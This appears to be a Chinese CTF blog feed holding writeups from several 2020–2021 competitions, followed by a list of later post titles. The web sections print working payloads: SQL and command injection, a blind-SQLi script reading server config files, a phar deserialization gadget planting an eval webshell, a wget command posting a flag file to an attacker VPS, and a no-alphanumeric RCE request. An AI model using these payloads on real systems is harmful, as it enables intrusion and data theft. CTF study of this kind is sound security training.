这里有个要注意的地方，做pwn题的时候由于环境不同，会发生本地通远程不通，远程通本地不通，甚至是两台电脑一台通另一台不通的情况。我这次碰到的问题是libc的问题，我本地查找libc以及在线查找libc显示6个libc库，而且不能用，我一直以为是我没更新，折腾一晚上，各种版本的libc-database轮番下载安装，甚至github找了台做pwn题的虚拟机。后来才发现只要我连靶机就会有另一套libc，吐了，下次不给libc的题就是sb，对pwn新手极其不友好

到这里吧，以后有机会更新的话再更新，还要恶补工控CTF，工控的流量分析，图纸，各种通信协议太难了

]]>

第四届宁波网安市赛初赛

Sun, 23 May 2021 18:03:05 +0800

由于赛后官方不给wp（绿盟一向如此），交流群也没有得到其他题解，赛后就根据自己的wp来写了，wp由队友及我共同完成。比赛共解答10题，Web 5道，Misc 2道，Crypto 3道，wp只有一部分，缺少的部分有机会再补上吧

Web#

赛后靶机关了，没办法再次复现，只能用当时编写的wp配图，好像源码l都换成了1

简单的php#

对长度做了限制，这里代码观察后直接通配符即可

payload:?1=cat fl*

这题环境崩过几次，据说因为共用一个环境还被人删了flag

index#

扫描网站目录得到源码

$user和$pass存在注入点，user那里MD5加密就行

payload:user='union select '21232f297a57a5a743894a0e4a801fc3'#&pass=admin

GetFlag#

验证码一直动，最离谱的是我CTRL+U里的验证码跟页面的不一样

使用脚本爆破出md5加密前的，提交得到php页面，自己脚本太烂了，放一下大佬的

 1import hashlib
 2from multiprocessing.dummy import Pool as ThreadPool
 3
 4
 5# MD5截断数值已知 求原始数据
 6# 例子 substr(md5(captcha), 0, 6)=60b7ef
 7
 8def md5(s):  # 计算MD5字符串
 9    return hashlib.md5(str(s).encode('utf-8')).hexdigest()
10
11
12keymd5 = '8f5fb0'  # 已知的md5截断值
13md5start = 0  # 设置题目已知的截断位置
14md5length = 6
15
16
17def findmd5(sss):  # 输入范围 里面会进行md5测试
18    key = sss.split(':')
19    start = int(key[0])  # 开始位置
20    end = int(key[1])  # 结束位置
21    result = 0
22    for i in range(start, end):
23        # print(md5(i)[md5start:md5length])
24        if md5(i)[0:6] == keymd5:  # 拿到加密字符串
25            result = i
26            print(result)  # 打印
27            break
28
29
30list = []  # 参数列表
31for i in range(10):  # 多线程的数字列表 开始与结尾
32    list.append(str(10000000 * i) + ':' + str(10000000 * (i + 1)))
33pool = ThreadPool()  # 多线程任务
34pool.map(findmd5, list)  # 函数 与参数列表
35pool.close()
36pool.join()

python

进去也有套娃，绕过去就行，构造payload:4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1%0acat+flag.php

hello,world#

扫出备份文件.index.php.swp以及/index.php/login/，进入查看源码

文件包含，传入file=config.php试试

test666=sss607

php伪协议直接出

文件管理网站#

扫出1.htaccess和lfi.php

文件包含

这里挂一波Mocha大佬的WEB wp ↗ ，写得比我这详细得多也更有参考意义

Misc#

美丽的小姐姐#

因此，判断图片的chunk[0]（也就是IHDR块）的数据跟crc32校验值不一致，被篡改了

 1import os
 2import binascii
 3import struct
 4misc = open("CRC-ERROR.png","rb").read()
 5
 6# 爆破宽
 7for i in range(1024):
 8	data = misc[12:16] + struct.pack('>i',i)+ misc[20:29]  #IHDR数据
 9	crc32 = binascii.crc32(data) & 0xffffffff
10	if crc32 == 0x5e687792: #IHDR块的crc32值
11		print(i)
12		print("hex:"+hex(i))
13# 爆破高		
14for i in range(1024):
15    data = misc[12:20] + struct.pack('>i',i)+ misc[24:29]
16    crc32 = binascii.crc32(data) & 0xffffffff
17    if crc32 == 0x5e687792:
18        print(i)
19        print("hex:"+hex(i))

python

改高度，即出flag

音乐和乐谱#

十六进制打开,发现末尾给了密码

把ejfg作为密码转为字符串，在线网站 ↗

Crypto#

RSA#

图解

flagMD5加密后大写

简单编码#

下载下来，补全压缩后缀，打开后里面是jsfuck文件，在线解码

10进制转16进制

十六进制转字符串，每两位数字是一位字符，转后为id_jws,MD5加密大写

nike#

原题，解压一行py脚本，格式化

  1(lambda __operator, __print, __g, __y: [(sys.setrecursionlimit(
  2        1000000), [
  3        [
  4            [
  5                [
  6                    [(decode(cipher), None)[1]
  7                        for __g['cipher'] in [(
  8                            'D6VNEIRAryZ8Opdbl3bOwqmBD+lmFXbcd/XfgHalqYBh1FDtbJo='
  9                        )]
 10                    ][0]
 11                    for __g['decode'], decode.__name__ in [(
 12                        lambda cipher: (lambda __l: [(
 13                                init(), [
 14                                    [
 15                                        [(lambda __after:
 16                                            (
 17                                                __print(
 18                                                    'sorry,you dont have the auth'
 19                                                ),
 20                                                0
 21                                            )[1]
 22                                            if(
 23                                                __l[
 24                                                    'auth'
 25                                                ] !=
 26                                                1
 27                                            )
 28                                            else
 29                                                __after()
 30                                        )(lambda:
 31                                            (
 32                                                lambda __items,
 33                                                __after,
 34                                                __sentinel:
 35                                                __y(
 36                                                    lambda __this:
 37                                                    lambda:
 38                                                    (
 39                                                        lambda __i: [
 40                                                            [
 41                                                                __this() for __l[
 42                                                                    'result'
 43                                                                ] in [
 44                                                                    (
 45                                                                        __operator
 46                                                                        .iadd(
 47                                                                            __l[
 48                                                                                'result'
 49                                                                            ],
 50                                                                            chr(
 51                                                                                (
 52                                                                                    s[
 53                                                                                        (
 54                                                                                            __l[
 55                                                                                                'i'
 56                                                                                            ] %
 57                                                                                            256
 58                                                                                        )
 59                                                                                    ] ^
 60                                                                                    ord(
 61                                                                                        __l[
 62                                                                                            'cipher'
 63                                                                                        ]
 64                                                                                        [
 65                                                                                            __l[
 66                                                                                                'i'
 67                                                                                            ]
 68                                                                                        ]
 69                                                                                    )
 70                                                                                )
 71                                                                            )
 72                                                                        )
 73                                                                    )
 74                                                                ]
 75                                                            ]
 76                                                            [
 77                                                                0
 78                                                            ]
 79                                                            for __l[
 80                                                                'i'
 81                                                            ] in [
 82                                                                (
 83                                                                    __i
 84                                                                )
 85                                                            ]
 86                                                        ]
 87                                                        [
 88                                                            0
 89                                                        ]
 90                                                        if __i is not __sentinel
 91                                                        else
 92                                                            __after()
 93                                                    )
 94                                                    (
 95                                                        next(
 96                                                            __items,
 97                                                            __sentinel
 98                                                        )
 99                                                    )
100                                                )
101                                                ()
102                                            )(
103                                                iter(
104                                                    range(
105                                                        len(
106                                                            __l[
107                                                                'cipher'
108                                                            ]
109                                                        )
110                                                    )
111                                                ),
112                                                lambda:
113                                                (
114                                                    __print(
115                                                        __l[
116                                                            'result'
117                                                        ]
118                                                        .encode(
119                                                            'base64'
120                                                        )
121                                                    ),
122                                                    None
123                                                )[
124                                                    1
125                                                ], []
126                                            )) for __l[
127                                            'auth'
128                                        ] in [(0)]][0]
129                                        for __l[
130                                            'cipher'] in [
131                                            (__l[
132                                                'cipher'
133                                            ].decode(
134                                                'base64'
135                                            ))
136                                        ]
137                                    ][0]
138                                    for __l['result'] in [
139                                        ('')
140                                    ]
141                                ][0])[1]
142                            for __l['cipher'] in [(
143                                cipher)]
144                        ][0])(
145                        {}), 'decode')]
146                ][0]
147                for __g['init'], init.__name__ in [(lambda: (
148                    lambda __l: [
149                        [(lambda __items, __after,
150                            __sentinel: __y(
151                                lambda __this:
152                                lambda: (lambda __i: [
153                                        (s.append(
154                                            __l[
155                                                'i'
156                                            ]
157                                        ), (k
158                                            .append(
159                                                ord(
160                                                    __l[
161                                                        'key'
162                                                    ]
163                                                    [
164                                                        (
165                                                            __l[
166                                                                'i'
167                                                            ] %
168                                                            len(
169                                                                __l[
170                                                                    'key'
171                                                                ]
172                                                            )
173                                                        )
174                                                    ]
175                                                )
176                                            ),
177                                            __this()
178                                        )[1])[1]
179                                        for __l[
180                                            'i'] in [
181                                            (__i)
182                                        ]
183                                    ][0]
184                                    if __i is not __sentinel
185                                    else __after()
186                                )(next(__items,
187                                    __sentinel
188                                )))())(iter(range(
189                            256)), lambda: (
190                            lambda __items,
191                            __after,
192                            __sentinel: __y(
193                                lambda __this:
194                                lambda: (
195                                    lambda __i: [
196                                        [
197                                            [
198                                                [
199                                                    [
200                                                        __this() for s[
201                                                            __l[
202                                                                'j'
203                                                            ]
204                                                        ] in [
205                                                            (
206                                                                __l[
207                                                                    'tmp'
208                                                                ]
209                                                            )
210                                                        ]
211                                                    ]
212                                                    [
213                                                        0
214                                                    ]
215                                                    for s[
216                                                        __l[
217                                                            'i'
218                                                        ]
219                                                    ] in [
220                                                        (
221                                                            s[
222                                                                __l[
223                                                                    'j'
224                                                                ]
225                                                            ]
226                                                        )
227                                                    ]
228                                                ]
229                                                [
230                                                    0
231                                                ]
232                                                for __l[
233                                                    'tmp'
234                                                ] in [
235                                                    (
236                                                        s[
237                                                            __l[
238                                                                'i'
239                                                            ]
240                                                        ]
241                                                    )
242                                                ]
243                                            ]
244                                            [
245                                                0
246                                            ]
247                                            for __l[
248                                                'j'
249                                            ] in [
250                                                (
251                                                    (
252                                                        (
253                                                            (
254                                                                __l[
255                                                                    'j'
256                                                                ] +
257                                                                s[
258                                                                    __l[
259                                                                        'i'
260                                                                    ]
261                                                                ]
262                                                            ) +
263                                                            k[
264                                                                __l[
265                                                                    'i'
266                                                                ]
267                                                            ]
268                                                        ) %
269                                                        256
270                                                    )
271                                                )
272                                            ]
273                                        ][0]
274                                        for __l[
275                                            'i'
276                                        ] in [
277                                            (
278                                                __i
279                                            )
280                                        ]
281                                    ][0]
282                                    if __i is not __sentinel
283                                    else
284                                        __after()
285                                )(next(
286                                    __items,
287                                    __sentinel
288                                )))())(iter(
289                                range(256)),
290                            lambda: None, []), []) for __l[
291                            'j'] in [(0)]][0]
292                        for __l['key'] in [(
293                            'aV9hbV9ub3RfZmxhZw=='
294                            .decode('base64'))]
295                    ][0])(
296                {}), 'init')]
297            ][0]
298            for __g['k'] in [([])]
299        ][0]
300        for __g['s'] in [([])]
301    ][0])[1]
302    for __g['sys'] in [(__import__('sys', __g, __g))]
303][0])(__import__('operator', level = 0), __import__('__builtin__',
304    level = 0).__dict__['print'], globals(), (lambda f: (lambda x:
305    x(x))(lambda y: f(lambda: y(y)()))))

python

格式化也好难读，这里把if(__l['auth'] !=1)修改为if(__l['auth'] ==1)运行即可出flag

进决赛了，没打过AWD，kali不太会用，师傅们手下留情，欢迎各位师傅交流交流AWD基础

]]>

第四届宁波网安市赛训练题

Tue, 18 May 2021 15:48:31 +0800

Crypto#

散乱的密文#

8fd4a@4c9@4gf15{50}l72d3提示了2 1 6 5 3 4，我们直接横向排列

2	1	6	5	3	4
8	f	d	4	a	@
4	c	9	@	4	g
f	1	5	{	5	0
}	l	7	2	d	3

按顺序竖着抄下来fc1l84f}a45d@g034@{2d957,然后栅栏解密，注意这里是W型栅栏解密，行数6

flag:flag{52048c453d794df1}@@

综合解密#

596d687162534268643252344948686b5a6e5967636a56355a79426b636d6432先16进制转字符串，再base64解码得到bhjm awdx xdfv r5yg drgv，这些字母在键盘上围起来的字母取出来就是flag

flag:flag{nsctf}

rsa1#

直接给了公钥和密文，先解析公钥

分析n,得到p和q

脚本跑跑跑

 1import gmpy2
 2import rsa
 3
 4e = 65537
 5n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
 6p = 285960468890451637935629440372639283459
 7q = 304008741604601924494328155975272418463
 8
 9phin = (q - 1) * (p - 1)
10d = gmpy2.invert(e, phin)
11
12key = rsa.PrivateKey(n, e, int(d), p, q)
13
14with open("C:\\Users\\Mr.Wu\\Desktop\\rsa1\\flag.enc", "rb+") as f:
15    f = f.read()
16    print(rsa.decrypt(f, key))

python

flag:nsfocus{seay_rsa}

Misc#

剧情大反转#

十六进制打开

看到最后有b405，题名也叫反转，50 4b是压缩包文件头，所以这里把字符串反转，直接复制下来放在线网站上即可。

把反转后的十六进制数据保存为zip文件，然后打开zip文件出现图片。

先水平翻转，再180度旋转出现flag

flag:flag{99f0fd18f89e6b73f05c139b0a9e4c98}

五彩斑斓的青春~#

下载是个未知文件，名字叫zip,解码文件头50 4b,应该就是zip文件了，加上zip后缀解压打开，里面只有一个html文件，打开如图

每句话都有RGB颜色，把负数去掉拼接起来3166393233623939323338643634306262386461643739613263343338626433，16进制转字符串1f923b99238d640bb8dad79a2c438bd3

flag:flag{1f923b99238d640bb8dad79a2c438bd3}

流量分析~#

这题经过lewiserii大佬指点

附件解压是个pcapng文件，用wireshark打开，搜索相关文件，如zip、doc、txt、rar等，这里搜索到666.zip

跟踪下面那条200数据的TCP流

pk头说明是压缩文件，导出为zip，打开后有6个txt文件

打开第一个发现是8950开头，应该是png的十六进制，转为png发现只是一部分二维码。所以将6个txt里的字符串拼接起来转为png图片,然后识别二维码即可

flag:flag{3819169573b7a37786d2ea39c6daef76}

misc1-bwm#

bwm盲水印，地址在这：盲水印 ↗ ，一种图像隐写方式，把两张图使用脚本进行反解，注意python3版本的脚本和python2的原理一样的，但是python3与python2的random算法不同，使用python3脚本需要在命令后加--oldseed我的python3脚本名称为bwm.py，我将两张图进行反解，将解出的水印图保存为C.png。命令如下：

python bwm.py decode B2.png 2.png C.png --oldseed

水印如图

flag:nsfocus{EasyBwm}

misc2-weight#

解后里面是一张无法打开的png图片，十六进制打开。非常明显的IDAT缺失

补上，图片如下

宽高有问题，把高改成与宽一样

识别，即可出flag

flag:nsfocus{f5b7e4b23076f925ab0fd214e58aa675}

Reverse#

re1#

64位，无壳，拖IDA里看看

进第一行字符串里看看

把这两段拼起来，16进制转字符串

flag:nsfocus{674cc15823d087192c6f3ae919b8ce78}

Game#

按顺序输入1-8直接出flag，摸索着玩一会也会出

正常解法:等我写出来再搞

re2#

64位无壳，拖进IDA

伪代码大致就是满足if里的条件进入s0_such(Str)里，跟进去

近百条case语句，真的flag应该是其中某一条，这里的switch里是v2，我们看到v2=a1[6]-3，刚才的伪代码里str[6]=83，所以这里v2为80，flag里base64解码

flag:nsfocus{Th4_A11-Know1ng_K1ng}

Web#

签到喽~#

网络响应头里

Myself~#

自己的电脑，XFF欺骗，修改请求头X-Forwarded-For即可，这里推荐使用ModHeader插件

从主页跳转，修改Referer为靶机主页

得到flag:flag{15cc8eee88302965c61497c147e6ca4c}

php是……#

读代码，伪协议绕过

payload:?ac=1&fn=data:,1

flag:flag{5592f1a9fa885a77ba55497e501a101a}

]]>

纵横杯网络安全竞赛Writeup

Sun, 27 Dec 2020 15:48:41 +0800

magic_download#

run.sh

 1#!/bin/bash
 2ulimit -c 0      # core dump size (kb)
 3ulimit -t 60     # max cpu using (s/min)
 4ulimit -u 1500    # max number of process
 5ulimit -m 512000 # max memory (kb)
 6
 7cd /home/ctf
 8stdbuf -oL echo -n "Please enter your IP:"
 9read IP
10echo $IP|grep "^[0-9\.]\{7,15\}$" > /dev/null
11if [ $? -ne 0 ]
12then
13    stdbuf -oL echo "Please input a IP!"
14else
15    exec /home/ctf/wget -P /tmp $IP
16fi

php

这个正则可以被换行绕过，请看演示：

然后就是利用 wget 的各种参数，把 flag 给传出去。可以给 wget 设置 http_proxy，正好可以用 http_proxy 带出 flag，设置 http 代理为攻击者 vps，然后监听 80 端口就完事了

1-e http_proxy=vps --method=POST --body-file=/home/ctf/flag --header=X-Powered-By:Y1ng \\n127.0.0.1

php

easyci#

username 存在注入可以 load_file 读文件读 Apache 站点配置文件得到网站的根目录

 1#!/usr/bin/env python3
 2#-*- coding:utf-8 -*-
 3#__author__: 颖奇L'Amore www.gem-love.com
 4
 5import requests
 6import time
 7from urllib.parse import quote
 8from base64 import b64decode
 9
10url = "http://your_docker.cloudeci1.ichunqiu.com/public/index.php/home/login"
11data = {"username" : "", "password" : "y1ng"}
12result = ""
13
14payload = 'select database()'
15payload = 'password' #c3762483bc73d0b7943156d43911ce38
16payload = 'select to_base64(substr((load_file("/etc/apache2/sites-enabled/000-default.conf")),596,650))' #/var/sercet/html   然后sqlmap的os-shell一把梭
17
18
19for i in range(1,10000):
20    time.sleep(0.06)
21    low = 32
22    high =128
23    mid = (low+high)//2
24    while(low<high):
25        data["username"] = "0'or (ascii(substr((%s),%d,1)))>%d#" %(payload, i,mid)
26        # print(data)
27        r = requests.post(url, data)
28        # print(r.text)
29        if "用户名"  not in r.text:
30            low = mid+1
31        else:
32            high = mid
33        mid =(low+high)//2
34    if(mid == 32 or mid == 127):
35        break
36    result +=chr(mid)
37    print(result)
38    try:
39        print(b64decode(result.encode()).decode())
40    except:
41        pass

python

根目录是 /var/sercet/html 然后 sqlmap 的–os-shell 一把梭就完了

easycms#

www.zip 拿到源码，config.php 拿到数据库的账号密码 admin/admin868 并用这个密码也一并进了后台

然后用这个 SSRF 的洞读 /flag 即可：https://github.com/yzmcms/yzmcms/issues/53

hello php#

www.zip 拿到源码，一个简单的 phar 反序列化

 1php
 2class Config{
 3    public $title;
 4    public $comment;
 5    public $logo_url;
 6    public function __construct($title,$comment,$logo_url){
 7        $this->title= $title;
 8        $this->comment = $comment;
 9        $this->logo_url = $logo_url;
10    }
11}
12$c = new Config("';echo('shell');eval(\$_POST['0']);//",'123','123');
13@unlink("phar.jpg");
14$phar = new Phar("phar.phar");
15$phar->startBuffering();
16$phar->setStub("");
17$phar->setMetadata($c);
18$phar->addFromString("test.txt", "test");
19$phar->stopBuffering();
20@rename("phar.phar","phar.jpg");
21?>

php

上传的文件名是时间戳的 md5，没有回显，写个脚本找一下：

 1#!/usr/bin/env python3
 2#-*- coding:utf-8 -*-
 3import time
 4import requests as req 
 5import hashlib
 6def md5(s):
 7	return hashlib.md5(s.encode()).hexdigest()
 8
 9for i in range(100):
10	url = f"http://eci-2zeb3stdvqw9aed67js3.cloudeci1.ichunqiu.com/static/{md5(str(int(time.time())))}.jpg"
11	r = req.get(url)
12	if r.status_code == 200:
13		print(url)
14		break
15	else:
16		print(i, r.status_code)
17	time.sleep(1)

python

index.php 触发 phar 反序列化即可把马写入 config.php

1/?img=phar:///var/www/html/static/67d9c71da5d4926c0f3433659c0690fd.jpg

php

大家一起来审代码#

参考 https://www.freebuf.com/vuls/241106.html ↗

进入后台 admin/123456。找到 adm1n/admin_weixin.php，利用无字母数字 RCE 即可

 1POST /adm1n/admin_weixin.php?action=set HTTP/1.1
 2Host: eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com
 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 5Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 6Accept-Encoding: gzip, deflate
 7Content-Type: application/x-www-form-urlencoded
 8Content-Length: 1265
 9Connection: close
10Referer: http://eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com/adm1n/admin_weixin.php
11Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1608027846,1608659573,1608962046; UM_distinctid=1745809b7eda-0b8fe367096bfd8-4c312d7d-1fa400-1745809b7ee40; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1608966210; __jsluid_h=82317a29492d0410972d5c3b5bb35543; PHPSESSID=9d513712218467c2e573a918f8b8d725; __tins__21018907=%7B%22sid%22%3A%201608966619441%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201608968423945%7D; __51cke__=; __51laig__=2
12Upgrade-Insecure-Requests: 1
13isopen=n&url=https%3A%2F%2Fwww.seacms.net&title=%E6%B5%B7%E6%B4%8B%E5%BD%B1%E8%A7%86&ckmov_url=https%3A%2F%2Fwww.seacms.net%2Fvip.php%3Furl%3D+&dpic=https%3A%2F%2Fwww.seacms.net%2Fapi%2Fwx.jpg&follow=%E6%84%9F%E8%B0%A2%E6%82%A8%E7%9A%84%E5%85%B3%E6%B3%A8%E3%80%82&noc=%E6%9A%82%E6%97%A0%E4%BD%A0%E8%A6%81%E7%9A%84%E5%86%85%E5%AE%B9%E3%80%82&help=%E8%BF%99%E6%98%AF%E5%B8%AE%E5%8A%A9%E4%BF%A1%E6%81%AF%E3%80%82&topage=d&dwz=n&dwztoken=dwztoken&sql_num=15&msg1a=%E5%85%B3%E9%94%AE%E8%AF%8D1&msg1b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B91&msg2a=%E5%85%B3%E9%94%AE%E8%AF%8D2&msg2b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B92%3Ca+href%3D%27http%3A%2F%2Fwww.seacms.net%27%3E%E9%93%BE%E6%8E%A5%E6%B5%8B%E8%AF%95%3C%2Fa%3E%EF%BC%8C%E6%B5%8B%E8%AF%95%E7%BB%93%E6%9D%9F%E3%80%82&msg3a=%E5%85%B3%E9%94%AE%E8%AF%8D3&msg3b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B93&msg4a=%E5%85%B3%E9%94%AE%E8%AF%8D4&msg4b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B94&msg5a=%E5%85%B3%E9%94%AE%E8%AF%8D5&msg5b=1231");$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);//

http

 1POST /data/admin/weixin.php HTTP/1.1
 2Host: eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com
 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 5Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 6Accept-Encoding: gzip, deflate
 7Connection: close
 8Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1608027846,1608659573,1608962046; UM_distinctid=1745809b7eda-0b8fe367096bfd8-4c312d7d-1fa400-1745809b7ee40; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1608966210; __jsluid_h=82317a29492d0410972d5c3b5bb35543; PHPSESSID=9d513712218467c2e573a918f8b8d725; __tins__21018907=%7B%22sid%22%3A%201608966619441%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201608968423945%7D; __51cke__=; __51laig__=2
 9Upgrade-Insecure-Requests: 1
10Cache-Control: max-age=0
11Content-Type: application/x-www-form-urlencoded
12Content-Length: 22
13_=system("cat /flag");

http

]]>

Hack Your Heart

2025宁波市第八届网络安全大赛决赛Writeup

[web] easyUpload#

break#

[web] img2base64#

break#

[web] genshop#

fix#

{result}

{result}

[web] Easy_shop#

break#

fix#

[pwn] Cake_shop#

break#

fix#

[pwn] stu_admin#

fix#

总结#

2025宁波市第八届网络安全大赛初赛Writeup

PWN#

entity_cache#

REVERSE#

SEA_1#

flower_world#

CRYPTO#

Three-prime RSA#

2025浙江省信息通信协会数据安全大赛决赛WriteUp

个人赛#

勒索病毒#

secret#

大浪淘金方显英雄本色#

运维题（QK太强了）#

团队赛#

WEB1#

Industrial Control Portal

Device Monitoring

听听你的声音-音频类Misc

第十五届全国大学生信息安全竞赛部分WriteUp

Crypto#

签到电台#

ISO9798#

基于挑战码的双向认证#

基于挑战码的双向认证2#

基于挑战码的双向认证3#

Web#

Ezpop#

Misc#

ez_usb#

问卷调查#

Pwn#

login-nomal#

Reverse#

baby_tree#

2022虎符CTF WEB赛后复现

2、Babysql#

2021NUAACTF WriteUp

pwn#

format#

thread#

web#

真的签到#

baby_python#

Twister#

misc#

baby_mix#

medium#

questionnaire#

我们生活在南京（一）——穿越时空的电波#

reverse#

IDA Start#

warm up#

crypto#

checkin#

easyRSA#

签到#

首届安徽省“追日杯”大学生网络安全挑战赛WriteUp

Web#

gotofly#

Misc#